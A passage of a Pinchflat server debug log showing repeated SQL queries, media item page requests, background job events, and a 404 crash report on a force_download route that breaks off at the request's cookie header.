s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:46.555 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:46.556 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:46.558 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:49:46.561 [info] Sent 200 in 10ms 02:50:00.779 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:01.616 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:24.838 [info] GET /sources/1/media/89342 02:50:24.838 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89342", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:50:24.839 [debug] QUERY OK source="media_items" db=0.3ms idle=1179.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89342] 02:50:24.840 [debug] QUERY OK source="tasks" db=0.2ms idle=1180.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89342] 02:50:24.840 [debug] QUERY OK source="sources" db=0.5ms idle=899.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:50:24.841 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=181.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2391] 02:50:24.842 [debug] QUERY OK source="settings" db=0.2ms idle=182.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:24.842 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:24.843 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:24.845 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:50:24.848 [info] Sent 200 in 10ms 02:50:31.618 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:41.550 [info] GET /sources/1/media/89337 02:50:41.550 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89337", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:50:41.551 [debug] QUERY OK source="media_items" db=0.3ms idle=891.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 02:50:41.552 [debug] QUERY OK source="tasks" db=0.7ms idle=892.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89337] 02:50:41.552 [debug] QUERY OK source="sources" db=0.8ms idle=892.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:50:41.554 [debug] QUERY OK source="oban_jobs" db=1.1ms idle=894.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2390, 2475, 2517, 2523, 2532, 2538, 2544, 2550, 2560, 2569, 2575, 2584, 2591, 2599, 2605, 2611, 2619, 2625] 02:50:41.556 [debug] QUERY OK source="settings" db=0.3ms idle=581.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:41.557 [debug] QUERY OK source="settings" db=0.3ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:41.558 [debug] QUERY OK source="settings" db=0.4ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:41.560 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:50:41.567 [info] Sent 200 in 17ms 02:50:55.506 [info] GET /sources/1/media/89341 02:50:55.506 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89341", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:50:55.508 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=848.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89341] 02:50:55.508 [debug] QUERY OK source="tasks" db=0.4ms idle=849.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89341] 02:50:55.509 [debug] QUERY OK source="sources" db=0.5ms idle=849.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:50:55.510 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.1ms idle=850.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2382, 2464] 02:50:55.511 [debug] QUERY OK source="settings" db=0.2ms idle=508.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:55.512 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:55.513 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:55.514 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:50:55.518 [info] Sent 200 in 11ms 02:51:00.780 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:01.620 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:08.938 [info] GET /sources/1/media/89340 02:51:08.938 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89340", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:51:08.939 [debug] QUERY OK source="media_items" db=0.6ms idle=909.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89340] 02:51:08.940 [debug] QUERY OK source="tasks" db=0.5ms idle=280.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89340] 02:51:08.941 [debug] QUERY OK source="sources" db=0.7ms idle=280.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:51:08.942 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=282.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [2381, 2463] 02:51:08.943 [debug] QUERY OK source="settings" db=0.3ms idle=283.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:08.944 [debug] QUERY OK source="settings" db=0.4ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:08.945 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:08.946 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:08.950 [info] Sent 200 in 12ms 02:51:20.559 [info] GET /sources/1/media/89349 02:51:20.559 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89349", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:51:20.560 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1900.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89349] 02:51:20.561 [debug] QUERY OK source="tasks" db=0.4ms idle=1901.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89349] 02:51:20.562 [debug] QUERY OK source="sources" db=0.8ms idle=1902.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:51:20.563 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1510.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2383, 2465, 2553] 02:51:20.565 [debug] QUERY OK source="settings" db=0.2ms idle=510.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:20.565 [debug] QUERY OK source="settings" db=0.2ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:20.566 [debug] QUERY OK source="settings" db=0.2ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:20.568 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:20.572 [info] Sent 200 in 13ms 02:51:30.805 [info] GET /sources/1/media/89339 02:51:30.805 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89339", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:51:30.806 [debug] QUERY OK source="media_items" db=0.4ms idle=1147.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89339] 02:51:30.808 [debug] QUERY OK source="tasks" db=0.6ms idle=1148.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89339] 02:51:30.808 [debug] QUERY OK source="sources" db=1.0ms idle=1148.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:51:30.809 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1149.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2380, 2462, 2552] 02:51:30.811 [debug] QUERY OK source="settings" db=0.1ms idle=736.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:30.811 [debug] QUERY OK source="settings" db=0.4ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:30.812 [debug] QUERY OK source="settings" db=0.2ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:30.814 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:30.818 [info] Sent 200 in 12ms 02:51:31.622 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:40.699 [info] GET /sources/4/media/102834/force_download 02:51:40.700 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=605.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.701 [debug] QUERY OK source="settings" db=0.4ms idle=41.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:40.701 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:51:40.702 [error] #PID<0.264121.0> running PinchflatWeb.Endpoint (connection #PID<0.264120.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/102834/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102834/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264120.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102834/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55870}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => 